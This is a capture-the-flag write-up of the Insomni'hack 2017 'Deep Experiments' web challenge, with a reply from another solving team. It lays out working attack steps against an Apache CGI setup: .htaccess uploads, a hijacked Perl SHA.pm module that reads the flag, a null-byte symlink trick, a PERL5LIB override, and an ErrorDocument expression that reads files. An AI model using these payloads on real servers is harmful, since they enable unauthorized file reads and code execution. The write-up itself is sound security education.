Deep Experiments
Deep Experiments was one of the web challenges at Insomi’hack CTF 2017.
It has been solved only by two teams (including CodiSec).
The location of the flag (
/flag) was written in the description.
Recon
The challenge was running on Apache server with CGI enabled.
A very simple client-side login interface (written in javascript) was setting a cookie
"uid="+username+":"+sha256(password).
Due to nature of client-side scripts, we could alter the format and value of this cookie without any efforts.
At the beginning I thought the challenge was pretty easy and trivial, because there was an upload script, vulnerable to directory traversal.
After some tests, I had determined a behaviour of the upload script:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$filename = $_REQUEST['file']['filename']; $uid = sha256($_COOKIE['uid']); if(!exists("/var/www/html/users/$uid.hide")) { mkdir("/var/www/html/users/$uid.hide"); copy($PATH_TO_PUBLISH_CGI_SCRIPT, "/var/www/html/users/$uid.hide/publish.cgi"); chmod("/var/www/html/users/$uid.hide/publish.cgi", 755); } copy($_REQUEST['file']['tmp_filename'], "/var/www/html/users/$uid.hide/$filename"); print "/users/$uid.hide/$filename"; |
As you can see, the script was creating a directory for us and putting another script (
publish.cgi) inside.
All files but the ones with
.hide suffix in
/users/ directory were public (listed).
FIRST TRY
I had some obvious ideas:
1) Uploading a PHP script – failed, there was no PHP.
2) Uploading a CGI script – failed, there was no permission to execute our script (CGI requires chmod +x).
3) Overwriting publish.cgi – failed, there was no permission to write on this file.
4) Disabling CGI by uploading .htaccess:
SetHandler default-handler
Worked! We could read publish.cgi source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
#!/usr/bin/perl use CGI ":standard"; use CGI::Cookie; use Digest::SHA qw(sha256_hex); my $cgi = new CGI; my $requested = CGI->new->url(); %cookies = CGI::Cookie->fetch; my $salt = "iNs0mn1h4cK"; my $login = $cookies{'uid'}->value; my $username = (split /:/,$login)[0]; my $hash = sha256_hex($login); my $hashSalt = sha256_hex($salt.$login); $uid = (split /\//, $requested)[-2]; $path = "/var/www/html/users/$uid"; if ($uid == $hash) { if (-d $path ) { if (-e "$path/index.html") { symlink($path,"/var/www/html/users/$username:$hashSalt") } else { print redirect(-url=>"/users/$uid/edit?error") } } print redirect(-url=>'/users'); } else { print redirect(-url=>'/'); } print $cgi->header(); print "$msg!\n"; |
It may seems pretty useless, everything the script does is creating a symlink to our directory.
…is it really true?
As long as we control environment we control everything
The script was importing some libs:
3 4 5 |
use CGI ":standard"; use CGI::Cookie; use Digest::SHA qw(sha256_hex); |
I decided to upload my own Digest/SHA.pm file with an additional code:
1 2 3 4 5 6 7 8 |
#Inherit from Digest::base if possible eval { print "Flag: "; # open(my $fh, "<", "/flag"); # additional lines print <$fh>; # require Digest::base; push(@ISA, 'Digest::base'); }; |
The problem was we had no way to create
Digest directory.
The trick was to use
symlink() function in
publish.cgi (
symlink() is vulnerable to null bytes, so we could cut off
:$hashSalt part of filename very easily) to create symlink named
Digest pointing to our directory.
The last part was telling perl where to load the libs from. Uploading
.htaccess did the job:
SetEnv PERL5LIB /var/www/html/users/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide/
Listing of our final directory /var/www/html/users/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide:
1 2 3 4 5 6 7 |
. .. .htaccess Digest -> /var/www/html/users/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide index.html publish.cgi SHA.pm |
The last thing to do was to run publish.cgi and read the flag:
Flag: INS{r1s3S_0f_.ht4c3eSs!}
Solved by Mawekl,
guest of the CodiSec,
member of the Dragon Sector.
Hi,
Thanks for the write-up, nice approach!
We solved the challenge a little bit differently, using apache expressions which allow direct access to the file system (https://httpd.apache.org/docs/2.4/expr.html). So we created a .htaccess file containing
>> ErrorDocument 500 “%{file:/flag}”
and then provoked a 500 by accessing an uploaded .cgi script without execute permissions.
Cheers,
M. from sw1ssfr13nds (the other team who solved the challenge)
Ye, I knew I overdone it, because you had solved it too fast 😀 Well done M.!
Mawekl